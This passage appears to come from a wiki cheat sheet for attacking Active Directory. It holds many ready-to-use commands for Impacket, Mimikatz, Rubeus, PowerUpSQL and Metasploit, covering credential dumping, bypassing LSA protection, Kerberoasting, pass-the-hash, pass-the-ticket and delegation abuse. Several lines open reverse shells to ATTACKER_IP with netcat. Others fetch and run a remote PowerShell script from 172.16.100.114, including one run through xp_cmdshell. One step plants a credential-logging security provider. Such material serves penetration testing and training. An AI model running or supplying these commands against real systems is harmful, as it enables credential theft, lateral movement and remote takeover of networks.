0030 30 3B 62 CB A5 57 75 E6 78 F3 D4 55 5C 68 20 15 0;b..Wu.x..U\h .
NL$KM:07e9f23f0849460702ce304b65d386326f025d367de83033f47194449837cb1a05cc76f126e294e7d354781fefbee913303b62cba55775e678f3d4555c682015
[*] Cleaning up...

# Extract NTDS using Secretsdump and machine account hash
secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 192.168.210.16 -hashes :d47a6d90e1c5adf4200227514e393909 'TESTDC01$'@192.168.210.16

# Invoke-NinjaCopy
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
# Use PS script to make copy of SAM, SYSTEM and ntds.dit
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
</syntaxhighlight>

== Impackets - All Commands Matrix ==

{| class="wikitable"
|-
! Tool
! Commands
! Explanation
|-
| Remote Execution
|
| Tools for executing commands remotely.
|-
| psexec.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Provides PSEXEC-like functionality using RemComSvc.
|-
| smbexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Executes commands on the target machine without using RemComSvc.
|-
| atexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -command command
| Executes a command on the target machine through the Task Scheduler service and returns the output.
|-
| wmiexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Provides a semi-interactive shell using Windows Management Instrumentation (WMI).
|-
| dcomexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Provides a semi-interactive shell using different DCOM endpoints.
|-
| Kerberos
|
| Tools for working with Kerberos authentication.
|-
| GetTGT.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Requests a TGT and saves it as ccache.
|-
| GetST.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] [-impersonate]
| Requests a Service Ticket and saves it as ccache. Supports impersonation.
|-
| GetPac.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Retrieves the PAC (Privilege Attribute Certificate) structure of the specified target user.
|-
| GetUserSPNs.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Finds and fetches Service Principal Names associated with normal user accounts.
|-
| GetNPUsers.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Lists and gets TGTs for users with 'Do not require Kerberos preauthentication' set.
|-
| rbcd.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Handles the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.
|-
| ticketConverter.py
| -kirbi kirbiFile -ccache ccacheFile
| Converts kirbi files used by mimikatz into ccache files used by Impacket, and vice versa.
|-
| ticketer.py
| -template templateFile -ccache ccacheFile
| Creates Golden/Silver tickets from scratch or based on a template allowing customization of parameters.
|-
| raiseChild.py
| -user user -password pass -domain domain -dc-ip ip
| Implements child-domain to forest privilege escalation using Golden Tickets and ExtraSids.
|-
| Windows Secrets
|
| Tools for extracting secrets and credentials from Windows systems.
|-
| secretsdump.py
| -ntds ntdsFile -system systemFile -outputfile outputFile -use-vss [-lmhash LMHASH] [-nthash NTHASH]
| Performs various techniques to dump secrets, NTLM hashes, plaintext credentials, and Kerberos keys from a remote machine.
|-
| mimikatz.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Provides a mini shell to control a remote mimikatz RPC server.
|-
| Server Tools/MiTM Attacks
|
| Tools for performing MiTM (Man-in-the-Middle) attacks.
|-
| ntlmrelayx.py
| -t targetFile -tf targetFile -smb2support [-socks]
| Performs NTLM Relay Attacks, relaying credentials to various protocols. Supports predefined attacks and SOCKS mode.
|-
| karmaSMB.py
| -file fileContents -smb2support
| A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.
|-
| smbserver.py
| -share shareName -smb2support -username user -password pass
| A Python implementation of an SMB server. Allows setting up shares and user accounts.
|-
| WMI
|
| Tools for working with Windows Management Instrumentation (WMI).
|-
| wmiquery.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -query query
| Issues WQL queries and gets descriptions of WMI objects at the target system.
|-
| wmipersist.py
| -target-ip ip -username user -password pass -query query [-interval interval]
| Creates/removes a WMI Event Consumer/Filter and executes Visual Basic based on the WQL filter or timer specified.
|-
| Known Vulnerabilities
|
| Tools for exploiting known vulnerabilities.
|-
| goldenPac.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Exploits MS14-068, saves the golden ticket, and launches a PSEXEC session at the target.
|-
| sambaPipe.py
| -target-ip ip -user user -password pass -so soFile
| Exploits CVE-2017-7494, uploads and executes a shared library specified by the user.
|-
| smbrelayx.py
| -target-ip ip -user user -password pass -command command
| Exploits CVE-2015-0005 using an SMB Relay Attack. Tries to gather the SMB session key through NETLOGON.
|-
| SMB/MSRPC
|
| Tools for working with SMB and MSRPC.
|-
| smbclient.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -list
| A generic SMB client for listing shares and files, renaming, uploading, downloading files, and creating/deleting directories.
|-
| addcomputer.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -computer computerName -domain domainName
| Adds a computer to a domain using LDAP or SAMR (SMB).
|-
| getArch.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Connects to a target machine and gathers the OS architecture type using MSRPC.
|-
| exchanger.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Connects to MS Exchange via RPC over HTTP v2.
|-
| lookupsid.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| A Windows SID brute forcer aiming to find remote users/groups using MSRPC Interface.
|-
| netview.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Gets a list of sessions opened at remote hosts and keeps track of them.
|-
| reg.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -command command
| A remote registry manipulation tool through the MSRPC Interface.
|-
| rpcdump.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Dumps the list of RPC endpoints and string bindings registered at the target.
|-
| rpcmap.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Scans for listening DCE/RPC interfaces and gets a list of interface UUIDs.
|-
| samrdump.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Communicates with the Security Account Manager Remote interface to list system user accounts, available resource shares, and other sensitive information.
|-
| services.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -action action
| Manipulates Windows services through the MSRPC Interface, supporting start, stop, delete, status, config, list, create, and change operations.
|-
| smbpasswd.py
| -target target -username user -password pass -newpassword newpass
| An alternative to smbpasswd for changing expired passwords remotely over SMB (MSRPC-SAMR).
|-
| MSSQL / TDS
|
| Tools for working with MSSQL and TDS.
|-
| mssqlinstance.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Retrieves MSSQL instance names from the target host.
|-
| mssqlclient.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -database database [-query query]
| An MSSQL client supporting SQL and Windows Authentications, including TLS.
|-
| File Formats
|
| Tools for working with various file formats.
|-
| esentutl.py
| -file file -action action
| An Extensible Storage Engine format implementation for dumping catalog, pages, and tables of ESE databases (e.g., NTDS.dit).
|-
| ntfs-read.py
| -target target -path path [-recursive] -output outputDir
| An NTFS format implementation providing a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.
|-
| registry-read.py
| -file hiveFile -key registryKey -recursive
| A Windows Registry file format implementation for parsing offline registry hives.
|-
| Other
|
| Miscellaneous tools.
|-
| findDelegation.py
| -dc-ip ip -user user -password pass
| Lists all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.
|-
| GetADUsers.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] -outputfile outputFile
| Gathers data about the domain's users and their corresponding email addresses, including last logon and last password set attributes.
|-
| Get-GPPPassword.py
| -gpp gppFile -output outputDir
| Extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Can parse GPP XML files offline.
|-
| mqtt_check.py
| -target target -port port -users usersFile -passwords passwordsFile
| A simple MQTT example for testing different login options and can be adapted for brute force attacks.
|-
| rdp_check.py
| -target target -port port -users usersFile -passwords passwordsFile
| A partial implementation of [MS-RDPBCGR] and [MS-CREDSSP] to test whether an account is valid on the target host.
|-
| sniff.py
| -interface interface -count count
| A simple packet sniffer using the pcapy library to listen for packets in transit over the specified interface.
|-
| sniffer.py
| -interface interface -count count [-protocols protocols]
| A simple packet sniffer using a raw socket to listen for packets in transit corresponding to the specified protocols.
|-
| ping.py
| -target target -count count
| A simple ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.
|-
| ping6.py
| -target target -count count
| A simple IPv6 ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.
|}

== Kerberoast ==

All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

<syntaxhighlight lang="bash">
## PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast
#Requesting the TGS for a single account:
Request-SPNTicket
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'

## AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

## Impacket:
python GetUserSPNs.py /: -outputfile

## Rubeus:
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
</syntaxhighlight>

== Mimikatz ALL COMMANDS ==

Source: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#mimikatz

<syntaxhighlight lang="bash">
#The commands are in cobalt strike format!
#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys
mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys
#Dump SAM Database
mimikatz lsadump::sam
#Dump SECRETS Database
mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain: /all
#List and Dump local kerberos credentials
mimikatz kerberos::list /dump
#Pass The Ticket
mimikatz kerberos::ptt
#List TS/RDP sessions
mimikatz ts::sessions
#List Vault credentials
mimikatz vault::list

</syntaxhighlight>

=== LSA Protection ===

What if mimikatz fails to dump credentials because of LSA Protection controls ?

* LSA as a Protected Process (Kernel Land Bypass)

<syntaxhighlight lang="bash">
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
</syntaxhighlight>

* LSA as a Protected Process (Userland "Fileless" Bypass)
[https://github.com/itm4n/PPLdump PPLdump]

* [https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland Bypassing LSA Protection in Userland]

* LSA is running as virtualized process (LSAISO) by Credential Guard

<syntaxhighlight lang="bash">
#Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
#Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
</syntaxhighlight>

* [https://adsecurity.org/?page_id=1821 Detailed Mimikatz Guide]

* [https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a Poking Around With 2 lsass Protection Options]

== Pass the Hash ==

[https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash]

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

Once you have the hash of the victim, you can use it to impersonate it.

<syntaxhighlight lang="bash">
# Mimikatz
# This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don't need to know the plain-text password).
# 1
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
# 2
privilege::debug
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38
------------------------------------------------------------------
# Pass-the-hash from linux
# Connect via psexec using PTH
psexec.py -hashed LM:NT user@ip
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
# Connect to RDP using PTH
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
# Pass the hash with evil-winrm
evil-winrm -u -H -i
# SMBclient
python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
# Crackmapexec
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig
# rpcdump
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
# MSSQL
impacket-mssqlclient administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth
/opt/MSSqlPwner/MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive

---------------------------------------------------------------
# PTH toolkit builtin in Kali linux
# smbclinet
pth-smbclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$
# wmic
pth-wmic -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 "select Name from Win32_UserAccount"

# rpcclient
pth-rpcclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105
# net
pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105
# curl
pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt
------------------------------------------------------------------
# Impacket Windows compiled tools
psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
# Powershell wmiexec
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
Invoke-WMIExec -Target 192.168.1.105 -Domain test.local -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose
------------------------------------------------------------------
# Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
# Invoke-SMBExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
# Invoke-WMIExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
# Invoke-SMBClient
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
# Invoke-SMBEnum
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74

------------------------------------------------------------------
# Powershell Empire
usemodule lateral_movement/invoke_smbexec
set ComputerName WIN-S0V7KMTVLD2.ignite.local
set Username Administrator
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set Listener http
execute

-----------------------------------------------------------------
# Metasploit
use exploit/windows/smb/psexec
set rhosts 192.168.1.105
set smbuser administrator
set smbdomain test.local
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
exploit
</syntaxhighlight>

== Over Pass the Hash/Pass the key (PTK) ==

This attack aims to '''use the user NTLM hash to request Kerberos tickets''', as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially '''useful in networks where NTLM protocol is disabled''' and only '''Kerberos is allowed''' as authentication protocol.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key]

<syntaxhighlight lang="bash">
# We need the NTLM hash or password of the target user account in order to perform this attack. When hash is obtained we can request a TGT. We can access any service or machine where the user account has permission.
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
-aesKey [AES Key] to specify to use AES256
</syntaxhighlight>

== Pass the Ticket ==

Similar to PTK, but instead we steal the ticket and use it to authenticate as its owner.

<syntaxhighlight lang="bash">
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

# Swapping Linux and Windows tickets between platforms
https://github.com/Zer1t0/ticket_converter (Ticket converter script)
# Only param needed is current ticket and output file.
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
# To convert in windows, use Kekeo https://github.com/gentilkiwi/kekeo
-----------------------------------------------------------------------
# Pass the ticket attack
# Linux
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
# Windows
# Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

-----------------------------------------------------------------------
# We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
# Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key:
# If we have the RC4 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# If we have the AES128 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# If we have the AES256 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

</syntaxhighlight>

== LAPS ==

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps]

<syntaxhighlight lang="bash">
https://github.com/leoloobeek/LAPSToolkit
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
</syntaxhighlight>

== MSSQL Trusted Links ==

If a user has privileges to '''access MSSQL instances''', he could be able to use it to '''execute commands''' in the MSSQL host (if running as SA).

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links]

<syntaxhighlight lang="bash">
# Powershell
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.psd1
Import-Module .\PowerupSQL.psd1
#Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
# FROM INSIDE OF THE DOMAIN
#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT ""'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
</syntaxhighlight>

== Delegations ==

=== Unconstrained Delegation ===

This a feature that a Domain Administrator can set to any '''Computer''' inside the domain. Then, anytime a '''user logins''' onto the Computer, a '''copy of the TGT''' of that user is going to be '''sent inside the TGS''' provided by the DC '''and saved in memory in LSASS'''. So, if you have Administrator privileges on the machine, you will be able to '''dump the tickets and impersonate the users''' on any machine.

So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

'''What is DCSync attack?'''

A DCSync attack '''uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC'''

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation]

<syntaxhighlight lang="bash">
# You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket.
.\Rubeus.exe ptt /ticket:

# Automatically compormise a print server
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation#automatically-compromising-a-print-server
.\SpoolSample.exe printmachine unconstrinedmachine

# If the TGT is from a DC, you could perform a DCSync attack and get all the hashes from DC. https://www.youtube.com/watch?v=QfyZQDyeXjQ
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
# Use secretsdump if my user have DCsync rights
python3 secretsdump.py aghanim:password@10.10.10.161
</syntaxhighlight>

=== Unconstrained Delegation 2 ===

[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained (KUD) Unconstrained - The Hacker Recipes]

[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#unconstrained-delegation OSEP Cheat Sheet | 0x4rt3mis]

[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]

* Definition & Theory:
'''Unconstrained Delegation''': An extension to Kerberos authentication to solve double-hop issue, allows a service to impersonate the user to other services.

* '''Ticket Granting Ticket (TGT)''': Issued after user login. Helps in obtaining service-specific tickets.

* '''Ticket Granting Service ticket''' (TGS): Obtained using TGT for a specific service.

* '''Unconstrained Delegation Flow''':
User requests a TGS for a service, includes forwardable TGT.

* KDC returns TGT with the forward flag and a regular TGS.

* TGT embedded into the TGS, sent to service.

* Service can impersonate the user for backend services.

* Service accounts can also be configured with unconstrained delegation if the application executes in the context of the service account rather than the machine account.

'''Enumeration '''

The information for unconstrained delegation is stored in the userAccountControl property as TRUSTED_FOR_DELEGATION, which is represented with a numerical value of 524288.

==== Dumping TGT if a user already have authenticated ====

<syntaxhighlight lang="bash">
# Using PowerView to enumerate
# This can also be done with BloodHound
Get-DomainComputer -Unconstrained
...
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# If you find a server thats vulnerable to unconstrained delegation you must perform lateral movement or compromise vulnerable application on the machine.
# We assume we have performed lateral movement
# First; Extracting User's TGTs:
mimikatz # privilege::debug
# Then dump the tickets. In this example a webserver is running on the target. Since the webserver is configured with Windows Authentication, we have to wait for an admin to visit the website before we can dump the ticket for that admin user.
mimikatz # sekurlsa::tickets
# Export TGT:
mimikatz # sekurlsa::tickets /export
# Look for Ticket Granting Ticket (TGT) for the user of interest (e.g., admin).
# Inject the TGT into the Current Session:
mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi
# TGT for the admin user is now loaded in memory.
# Test Access:
PsExec.exe \\cdc01 cmd
# To use impacket-psexec
# 1 - Convert the .kirbi ticket to a .ccache file using a tool like kirbi2ccache.
# 2 - Set the KRB5CCNAME environment variable to the path of the .ccache file:
export KRB5CCNAME=/path/to/your/file.ccache
# 3 - use psexec.py
psexec.py -k -no-pass PROD.CORP1.COM/admin@dc01 cmd.exe
</syntaxhighlight>

==== PrinterBug (from Windows) ====

<syntaxhighlight lang="bash">
# Another method that does not rely on user interaction
# Check if the print spooler service is running on the domain controller:
PS C:\Tools> dir \\cdc01\pipe\spoolss
# Now we will oerce the SYSTEM account to authenticate locally via the MS-RPRN RPC interface.
# Instead of using mimikatz to see through many TGTs we will use rubeus instead. This will not write to disk!
# Launch rubeus in monitor mode and filter for the machine account cdc01.
Rubeus.exe monitor /interval:5 /filteruser:CDC01$
# Trigger the print spooler change notification
# DC01 is target machine, APPSRV01 is capture server
SpoolSample.exe CDC01 APPSRV01
# Now inject the base64 encoded ticket
